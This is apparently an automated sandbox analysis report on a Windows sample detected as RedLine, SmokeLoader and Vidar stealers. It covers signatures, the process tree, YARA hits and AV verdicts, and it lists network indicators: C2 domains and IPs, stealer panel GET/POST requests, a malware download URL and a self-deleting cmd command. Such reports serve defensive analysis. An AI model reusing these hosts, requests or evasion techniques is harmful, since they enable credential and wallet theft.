Play interactive tour

Edit tour

Windows Analysis Report H4HU4rg1NM.exe

Overview

General Information

Sample Name:	H4HU4rg1NM.exe
Analysis ID:	545835
MD5:	31646747fe74d32212a7cbcb97c7d78d
SHA1:	62df758f397934053749ee38416a74f81a6d8ed6
SHA256:	02bcb080116ab55475edbcd1293246a0e5d8894793ee9e699db805bff2935408
Tags:	exeRedLineStealer
Infos:
Most interesting Screenshot:

Detection

RedLine SmokeLoader Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Yara detected Vidar stealer

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to evade analysis by execution special instruction which cause usermode exception

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Found many strings related to Crypto-Wallets (likely being stolen)

Uses dynamic DNS services

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Hides threads from debuggers

Writes to foreign memory regions

Tries to shutdown other security tools via broadcasted WM_QUERYENDSESSION

Tries to steal Crypto Currency Wallets

.NET source code references suspicious native API functions

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

.NET source code contains method to dynamically call methods (often used by packers)

PE file has nameless sections

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

Contains functionality to detect sleep reduction / modifications

Antivirus or Machine Learning detection for unpacked file

Drops PE files to the application program directory (C:\ProgramData)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious Del in CommandLine

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Checks for debuggers (devices)

Binary contains a suspicious time stamp

PE file contains more sections than normal

PE file overlay found

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Entry point lies outside standard sections

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Queries information about the installed CPU (vendor, model number etc)

AV process strings found (often used to terminate AV products)

PE file does not import any functions

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Detected TCP or UDP traffic on non-standard ports

Contains capabilities to detect virtual machines

Contains functionality to detect virtual machines (SLDT)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

H4HU4rg1NM.exe (PID: 6944 cmdline: "C:\Users\user\Desktop\H4HU4rg1NM.exe" MD5: 31646747FE74D32212A7CBCB97C7D78D)

H4HU4rg1NM.exe (PID: 7052 cmdline: "C:\Users\user\Desktop\H4HU4rg1NM.exe" MD5: 31646747FE74D32212A7CBCB97C7D78D)

explorer.exe (PID: 3352 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

325D.exe (PID: 5776 cmdline: C:\Users\user\AppData\Local\Temp\325D.exe MD5: 5E0ED8966761E70EE0B8DCD141AAFB4C)

325D.exe (PID: 6556 cmdline: C:\Users\user\AppData\Local\Temp\325D.exe MD5: 5E0ED8966761E70EE0B8DCD141AAFB4C)

4D1A.exe (PID: 7112 cmdline: C:\Users\user\AppData\Local\Temp\4D1A.exe MD5: BABD835D0FE9E63300B037A5AAAA4284)

cmd.exe (PID: 6956 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\4D1A.exe" & exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 6908 cmdline: timeout /t 5 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

110B.exe (PID: 5764 cmdline: C:\Users\user\AppData\Local\Temp\110B.exe MD5: CCBCF301B4A4C51FC6AC6108E1A0A702)

110B.exe (PID: 5708 cmdline: C:\Users\user\AppData\Local\Temp\110B.exe MD5: CCBCF301B4A4C51FC6AC6108E1A0A702)

7728.exe (PID: 3676 cmdline: C:\Users\user\AppData\Local\Temp\7728.exe MD5: DBFAEC97A910463B8767B8CEB053CF3C)

8CA5.exe (PID: 5208 cmdline: C:\Users\user\AppData\Local\Temp\8CA5.exe MD5: 765885E4A5BF2B58911C445E2BA0F7DF)

cmd.exe (PID: 7036 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\8CA5.exe" & exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 3548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

9B5C.exe (PID: 6476 cmdline: C:\Users\user\AppData\Local\Temp\9B5C.exe MD5: CF844515328AE2E2F1B4E9879401C7CA)

9B5C.exe (PID: 6252 cmdline: C:\Users\user\AppData\Local\Temp\9B5C.exe MD5: CF844515328AE2E2F1B4E9879401C7CA)

A87C.exe (PID: 5108 cmdline: C:\Users\user\AppData\Local\Temp\A87C.exe MD5: E5BD8A53623522C49CCC35BC492B5A11)

AppLaunch.exe (PID: 4400 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MD5: 6807F903AC06FF7E1670181378690B22)

C26E.exe (PID: 6500 cmdline: C:\Users\user\AppData\Local\Temp\C26E.exe MD5: 1A8620AF98D68F9CADB5916341AD1E71)

iudbdfd (PID: 5700 cmdline: C:\Users\user\AppData\Roaming\iudbdfd MD5: 31646747FE74D32212A7CBCB97C7D78D)

iudbdfd (PID: 6964 cmdline: C:\Users\user\AppData\Roaming\iudbdfd MD5: 31646747FE74D32212A7CBCB97C7D78D)

cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\C26E.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.338228671.0000000002431000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000003.00000002.338186789.0000000002170000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001E.00000000.448610314.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000029.00000000.517465012.0000000000E42000.00000002.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000028.00000000.541684095.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000001E.00000000.447644311.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000029.00000000.515568258.0000000000E42000.00000002.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000028.00000000.538447089.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000D.00000000.322844951.0000000004DE1000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001E.00000002.545178497.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002A.00000002.558023799.0000000000402000.00000020.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000027.00000002.517417859.00000000000C2000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001E.00000000.447017535.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000027.00000003.516926123.0000000003722000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001E.00000000.448094687.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.386977371.0000000000521000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000017.00000002.415364379.0000000001F51000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000029.00000000.518196464.0000000000E42000.00000002.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000028.00000002.557976871.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000029.00000000.516435766.0000000000E42000.00000002.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000002.415203657.0000000000460000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001C.00000002.453201670.00000000043E1000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000012.00000002.386920457.0000000000420000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000028.00000000.536505179.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000028.00000000.540001964.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000029.00000002.557976781.0000000000E42000.00000002.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 4D1A.exe PID: 7112	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 4D1A.exe PID: 7112	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 110B.exe PID: 5708	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8CA5.exe PID: 5208	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8CA5.exe PID: 5208	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 9B5C.exe PID: 6252	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: C26E.exe PID: 6500	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AppLaunch.exe PID: 4400	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 35 entries

Unpacked PEs

Source	Rule	Description	Author
40.0.9B5C.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
41.0.C26E.exe.e40000.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
42.2.AppLaunch.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
40.0.9B5C.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
30.0.110B.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
40.0.9B5C.exe.400000.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
30.0.110B.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
39.2.A87C.exe.c3b04.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
30.2.110B.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
41.0.C26E.exe.e40000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
41.0.C26E.exe.e40000.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
30.0.110B.exe.400000.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
30.0.110B.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
28.2.110B.exe.44ffda0.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
40.0.9B5C.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
28.2.110B.exe.44ffda0.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
39.2.A87C.exe.c3b04.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
41.0.C26E.exe.e40000.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
30.0.110B.exe.400000.12.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
39.3.A87C.exe.3720000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
40.2.9B5C.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
40.0.9B5C.exe.400000.12.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
41.2.C26E.exe.e40000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 18 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Del in CommandLine

Show sources

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\4D1A.exe" & exit, CommandLine: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\4D1A.exe" & exit, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\4D1A.exe, ParentImage: C:\Users\user\AppData\Local\Temp\4D1A.exe, ParentProcessId: 7112, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\4D1A.exe" & exit, ProcessId: 6956

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://185.7.214.171:8080/6.php	URL Reputation: Label: malware
Source: http://privacytools-foryou-777.com/downloads/toolspab3.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\A87C.exe

Avira: detection malicious, Label: TR/Crypt.ASPM.Gen

Multi AV Scanner detection for submitted file

Show sources

Source: H4HU4rg1NM.exe	Virustotal: Detection: 33%			Perma Link
Source: H4HU4rg1NM.exe	ReversingLabs: Detection: 53%

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\110B.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Metadefender: Detection: 20%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\325D.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\7728.exe	Metadefender: Detection: 25%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\7728.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	ReversingLabs: Detection: 27%

Machine Learning detection for sample

Show sources

Source: H4HU4rg1NM.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\110B.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\56DF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7728.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\iudbdfd	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A87C.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Joe Sandbox ML: detected

Source: 25.2.4D1A.exe.5c0e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 25.3.4D1A.exe.5e0000.0.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00407510 CryptUnprotectData,LocalAlloc,LocalFree,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00407470 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00404830 memset,CryptStringToBinaryA,CryptStringToBinaryA,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00407190 CryptUnprotectData,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_004077A0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Unpacked PE file: 25.2.4D1A.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\7728.exe	Unpacked PE file: 35.2.7728.exe.400000.0.unpack

Source: H4HU4rg1NM.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.3:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.3:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 155.248.231.246:443 -> 192.168.2.3:49865 version: TLS 1.2

Source:	Binary string: kJC:\tozeroc-watege99_zaga\vifalaro.pdb source: 7728.exe, 00000023.00000003.482581258.0000000000DB0000.00000004.00000001.sdmp, 7728.exe, 00000023.00000002.575148587.0000000000CB0000.00000040.00000001.sdmp
Source:	Binary string: _tcC:\mefalizor\60\zorukuxibu\naritukeyipis\cudoyiyojil82 xero.pdb source: 4D1A.exe, 00000019.00000000.408954549.0000000000401000.00000020.00020000.sdmp, 4D1A.exe.13.dr
Source:	Binary string: "C:\sigut-wo.pdb source: 325D.exe, 00000016.00000000.394955360.0000000000401000.00000020.00020000.sdmp, 325D.exe, 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, 325D.exe, 00000017.00000000.400908625.0000000000401000.00000020.00020000.sdmp, 325D.exe.13.dr
Source:	Binary string: C:\sigut-wo.pdb source: 325D.exe, 325D.exe, 00000016.00000000.394955360.0000000000401000.00000020.00020000.sdmp, 325D.exe, 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, 325D.exe, 00000017.00000000.400908625.0000000000401000.00000020.00020000.sdmp, 325D.exe.13.dr
Source:	Binary string: C:\mefalizor\60\zorukuxibu\naritukeyipis\cudoyiyojil82 xero.pdb source: 4D1A.exe, 00000019.00000000.408954549.0000000000401000.00000020.00020000.sdmp, 4D1A.exe.13.dr
Source:	Binary string: C:\gipate\nihidani\92\gape rosoloto50\lav75\zel.pdb source: 7728.exe
Source:	Binary string: C:\zoci\kiz\ponecun6\camokixuki1\janel.pdb source: 7728.exe.13.dr
Source:	Binary string: C:\doki\lajesoxekejiko.pdb source: H4HU4rg1NM.exe, iudbdfd.13.dr
Source:	Binary string: ?9"C:\doki\lajesoxekejiko.pdb source: H4HU4rg1NM.exe, iudbdfd.13.dr
Source:	Binary string: C:\tozeroc-watege99_zaga\vifalaro.pdb source: 7728.exe, 00000023.00000003.482581258.0000000000DB0000.00000004.00000001.sdmp, 7728.exe, 00000023.00000002.575148587.0000000000CB0000.00000040.00000001.sdmp

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\

Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_0041AA72 BuildCommDCBAndTimeoutsA,GetNamedPipeHandleStateA,ReleaseMutex,AddAtomA,TzSpecificLocalTimeToSystemTime,SetConsoleCursorInfo,VerifyVersionInfoW,TlsGetValue,CopyFileA,GetLongPathNameA,SetVolumeMountPointW,GetProcessPriorityBoost,FreeEnvironmentStringsA,VerifyVersionInfoA,FindFirstFileExA,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,

Networking:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Domain query: downloafilesaccess.ddns.net
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: infinity-cheats.com
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80
Source: C:\Windows\explorer.exe	Domain query: privacytools-foryou-777.com
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Uses dynamic DNS services

Show sources

Source: unknown

DNS query: name: downloafilesaccess.ddns.net

Source: global traffic	HTTP traffic detected: GET /tratata.php HTTP/1.1Host: file-file-host4.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: file-file-host4.comCache-Control: no-cacheCookie: PHPSESSID=3a2jv90p7dncfvulq2s4utiio9
Source: global traffic	HTTP traffic detected: POST /tratata.php HTTP/1.1Content-Type: multipart/form-data; boundary=----A1VKFU3EKF3E3790Host: file-file-host4.comContent-Length: 104449Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=3a2jv90p7dncfvulq2s4utiio9
Source: global traffic	HTTP traffic detected: GET /POeNDXYchB.php HTTP/1.1Host: 185.7.214.239Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: 185.7.214.239Cache-Control: no-cacheCookie: PHPSESSID=qnbju213plqa6o6fit9kdukud5
Source: global traffic	HTTP traffic detected: POST /POeNDXYchB.php HTTP/1.1Content-Type: multipart/form-data; boundary=----7G4EUSR9RI58QQIWHost: 185.7.214.239Content-Length: 114221Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=qnbju213plqa6o6fit9kdukud5

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:51 GMTContent-Type: application/x-msdos-programContent-Length: 339456Connection: closeLast-Modified: Tue, 28 Dec 2021 04:18:01 GMTETag: "52e00-5d42d1b67929d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 b7 bc 92 40 d6 d2 c1 40 d6 d2 c1 40 d6 d2 c1 2f a0 4c c1 51 d6 d2 c1 2f a0 78 c1 2a d6 d2 c1 49 ae 41 c1 43 d6 d2 c1 40 d6 d3 c1 fd d6 d2 c1 2f a0 79 c1 76 d6 d2 c1 2f a0 48 c1 41 d6 d2 c1 2f a0 4f c1 41 d6 d2 c1 52 69 63 68 40 d6 d2 c1 00 00 00 00 00 00 